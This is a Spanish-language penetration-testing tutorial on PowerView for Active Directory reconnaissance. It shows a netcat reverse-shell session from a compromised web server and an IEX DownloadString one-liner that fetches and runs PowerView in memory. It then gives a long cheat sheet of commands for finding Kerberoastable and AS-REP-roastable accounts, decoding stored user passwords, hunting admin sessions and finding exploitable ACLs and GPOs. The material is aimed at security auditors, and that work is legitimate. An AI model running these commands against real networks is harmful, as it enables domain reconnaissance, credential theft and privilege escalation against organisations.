Enumeración con PowerView

Utilizando PowerShell, los atacantes pueden recopilar sigilosamente datos internos de los usuarios y explotarlos.

Los ciberdelincuentes aprovechan PowerShell para ejecutar malware sin archivos. Estos archivos no binarios residen en la memoria y les permiten inyectar cargas útiles en aplicaciones en ejecución o mediante secuencias de comandos. Los scripts de entrega de carga útil casi siempre se ejecutan, ya que PowerShell es una aplicación confiable y ampliamente implementada. Además, la integración profunda de Windows de PowerShell y la capacidad de acceder a todas las partes de un host a través del marco .NET brindan a los malos actores la cobertura mejorada que necesitan para eludir los controles de seguridad tradicionales y violar las redes.

En conclusión, powerShell es una poderosa herramienta de post-explotacion que permite a los auditores de seguridad explorar una gran superficie de ataque y explotar muchas posibilidades de ataque.

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Introducción a PowerView

PowerView, desarrollada por Will Schroeder, es una herramienta que utiliza la función de dominio de Windows para recopilar información sobre una red y sus usuarios. Todas las opciones de la herramienta envían solicitudes legítimas que pueden ejecutarse en el contexto de los derechos de un usuario de dominio.

Enlace de descarga de PowerView.ps1:

PowerSploit/Recon/PowerView.ps1 at master · PowerShellMafia/PowerSploitGitHub

Para importar el script en memoria, podemos ejecutar los siguientes comandos:

kqli@kali=> nc -nvlp 443                                                                                           
listening on [any] 443 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 37208
Windows PowerShell running as user WEBSERVER$ on WEBSERVER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\windows\system32\inetsrv>IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
PS C:\windows\system32\inetsrv> Get-NetDomain

Forest                  : evilcorpt.corp
DomainControllers       : {First-DC.evilcorpt.corp}
Children                : {}
DomainMode              : Unknown
DomainModeLevel         : 7
Parent                  : 
PdcRoleOwner            : First-DC.evilcorpt.corp
RidRoleOwner            : First-DC.evilcorpt.corp
InfrastructureRoleOwner : First-DC.evilcorpt.corp
Name                    : evilcorpt.corp

En la evidencia previa, podemos apreciar la ejecución exitosa de Get-NetDomain.

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La clave de una buena auditoria esta en la enumeración

La enumeración es un paso crucial en la fase de reconocimiento de un ataque o una evaluación de seguridad. Con esta información, un atacante o hacker ético puede planificar y ejecutar ataques más efectivos y dirigidos.

A continuaciín, te relacionamos algunos ejemplos de posibles vulnerabilidades que podrias encontrar al realizar una buena enumeracion en AD:

• Al enumerar usuarios, un atacante podría descubrir un usuario llamado "backupadmin" y decidir que es un objetivo valioso debido a su posible acceso a backups críticos.

• Al enumerar computadoras, un atacante podría identificar un servidor llamado "HR-DB-Server", lo que indica que podría almacenar información valiosa del departamento de recursos humanos.

• Al listar grupos, podrían encontrarse grupos como "IT-Admins" o "Finance-Privileged", que, si se comprometen, podrían otorgar acceso a áreas críticas.

• Al revisar GPOs, un atacante podría identificar scripts de inicio que están mal configurados y que podrían ser explotados para ejecutar código malicioso.

• Al inspeccionar ACLs, podrían descubrirse configuraciones que otorgan permisos de escritura a usuarios normales en directorios que no deberían, permitiendo posibles ataques de escalada de privilegios.

Guia de comandos

Antes de ejecutar cualquiera de los comandos, se debe importar el comando:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1');

Quick enumeration

Get-NetDomain #Basic domain info
#User info
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount #Basic user enabled info
Get-NetUser -LDAPFilter '(sidHistory=*)' #Find users with sidHistory set
Get-NetUser -PreauthNotRequired #ASREPRoastable users
Get-NetUser -SPN #Kerberoastable users
#Groups info
Get-NetGroup | select samaccountname, admincount, description
Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=EGOTISTICAL-BANK,DC=local' | %{ $_.SecurityIdentifier } | Convert-SidToName #Get AdminSDHolders
#Computers
Get-NetComputer | select samaccountname, operatingsystem
Get-NetComputer -Unconstrained | select samaccountname #DCs always appear but aren't useful for privesc
Get-NetComputer -TrustedToAuth | select samaccountname #Find computers with Constrained Delegation
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} #Find any machine accounts in privileged groups
#Shares
Find-DomainShare -CheckShareAccess #Search readable shares
#Domain trusts
Get-NetDomainTrust #Get all domain trusts (parent, children and external)
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found
#LHF
#Check if any user passwords are set
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
#Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened.
Find-LocalAdminAccess
#Get members from Domain Admins (default) and a list of computers and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host. If -Checkaccess, then it also check for LocalAdmin access in the hosts.
Invoke-UserHunter -CheckAccess
#Find interesting ACLs
Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl

Domain info

# Domain Info
Get-NetDomain #Get info about the current domain
Get-NetDomain -Domain mydomain.local
Get-DomainSID #Get domain SID

## Policy
Get-DomainPolicy #Get info about the policy
(Get-DomainPolicy)."KerberosPolicy" #Kerberos tickets info(MaxServiceAge)
(Get-DomainPolicy)."SystemAccess" #Password policy
(Get-DomainPolicy).PrivilegeRights #Check your privileges

## Domain Controller
Get-NetDomainController -Domain mydomain.local #Get Domain Controller

Users, Groups and Computers

# Users
Get-NetUser #Get users with several (not all) properties
Get-NetUser | select -ExpandProperty samaccountname #List all usernames
Get-NetUser -UserName student107 #Get info about a user
Get-NetUser -properties name, description #Get all descriptions
Get-NetUser -properties name, pwdlastset, logoncount, badpwdcount  #Get all pwdlastset, logoncount and badpwdcount
Find-UserField -SearchField Description -SearchTerm "built" #Search account with "something" in a parameter

## Users Filters
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE -properties distinguishedname #All enabled users
Get-NetUser -UACFilter ACCOUNTDISABLE #All disabled users
Get-NetUser -UACFilter SMARTCARD_REQUIRED #Users that require a smart card
Get-NetUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname #Not smart card users
Get-NetUser -LDAPFilter '(sidHistory=*)' #Find users with sidHistory set
Get-NetUser -PreauthNotRequired #ASREPRoastable users
Get-NetUser -SPN | select serviceprincipalname #Kerberoastable users
Get-NetUser -SPN | ?{$_.memberof -match 'Domain Admins'} #Domain admins kerberostable
Get-Netuser -TrustedToAuth #Useful for Kerberos constrain delegation
Get-NetUser -AllowDelegation -AdminCount #All privileged users that aren't marked as sensitive/not for delegation
# retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync)
Get-ObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? {
    ($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')
}

#Groups
Get-NetGroup #Get groups
Get-NetGroup -Domain mydomain.local #Get groups of an specific domain
Get-NetGroup 'Domain Admins' #Get all data of a group
Get-NetGroup -AdminCount #Search admin grups
Get-NetGroup -UserName "myusername" #Get groups of a user
Get-NetGroupMember -Identity "Administrators" -Recurse #Get users inside "Administrators" group. If there are groups inside of this grup, the -Recurse option will print the users inside the others groups also
Get-NetGroupMember -Identity "Enterprise Admins" -Domain mydomain.local #Remember that "Enterprise Admins" group only exists in the rootdomain of the forest
Get-NetLocalGroup -ComputerName dc.mydomain.local -ListGroups #Get Local groups of a machine (you need admin rights in no DC hosts)
Get-NetLocalGroupMember -computername dcorp-dc.dollarcorp.moneycorp.local #Get users of localgroups in computer
Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -ResolveGUIDs #Check AdminSDHolder users
Get-NetGPOGroup #Get restricted groups

# Computers
Get-NetComputer #Get all computer objects
Get-NetComputer -Ping #Send a ping to check if the computers are working
Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
Get-NetComputer -TrustedToAuth #Find computers with Constrined Delegation
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} #Find any machine accounts in privileged groups

Logon and Sessions

Get-NetLoggedon -ComputerName <servername> #Get net logon users at the moment in a computer (need admins rights on target)
Get-NetSession -ComputerName <servername> #Get active sessions on the host
Get-LoggedOnLocal -ComputerName <servername> #Get locally logon users at the moment (need remote registry (default in server OS))
Get-LastLoggedon -ComputerName <servername> #Get last user logged on (needs admin rigths in host)
Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (needs admin rights in host)

Shared files and folders

Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers
Find-DomainShare -CheckShareAccess #Search readable shares
Find-InterestingDomainShareFile #Find interesting files, can use filters

GPOs & OUs

#GPO
Get-NetGPO #Get all policies with details
Get-NetGPO | select displayname #Get the names of the policies
Get-NetGPO -ComputerName <servername> #Get the policy applied in a computer
gpresult /V #Get current policy
# Enumerate permissions for GPOs where users with RIDs of > -1000 have some kind of modification/control rights
Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')}
Get-NetGPO -GPOName '{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}' #Get GPO of an OU

#OU
Get-NetOU #Get Organization Units
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case)

ACL

Get-ObjectAcl -SamAccountName <username> -ResolveGUIDs #Get ACLs of an object (permissions of other objects over the indicated one)
Get-PathAcl -Path "\\dc.mydomain.local\sysvol" #Get permissions of a file
Find-InterestingDomainAcl -ResolveGUIDs #Find intresting ACEs (Interesting permisions of "unexpected objects" (RID>1000 and modify permissions) over other objects
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"} #Check if any of the interesting permissions founds is realated to a username/group
Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights #Get special rights over All administrators in domain

Domain Trust

Get-NetDomainTrust #Get all domain trusts (parent, children and external)
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found
Get-DomainTrustMapping #Enumerate also all the trusts

Get-ForestGlobalCatalog #Get info of current forest (no external)
Get-ForestGlobalCatalog -Forest external.domain #Get info about the external forest (if possible)
Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)" 

Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between a child and a root is just an external trust)

Get-DomainForeingUser #Get users with privileges in other domains inside the forest
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest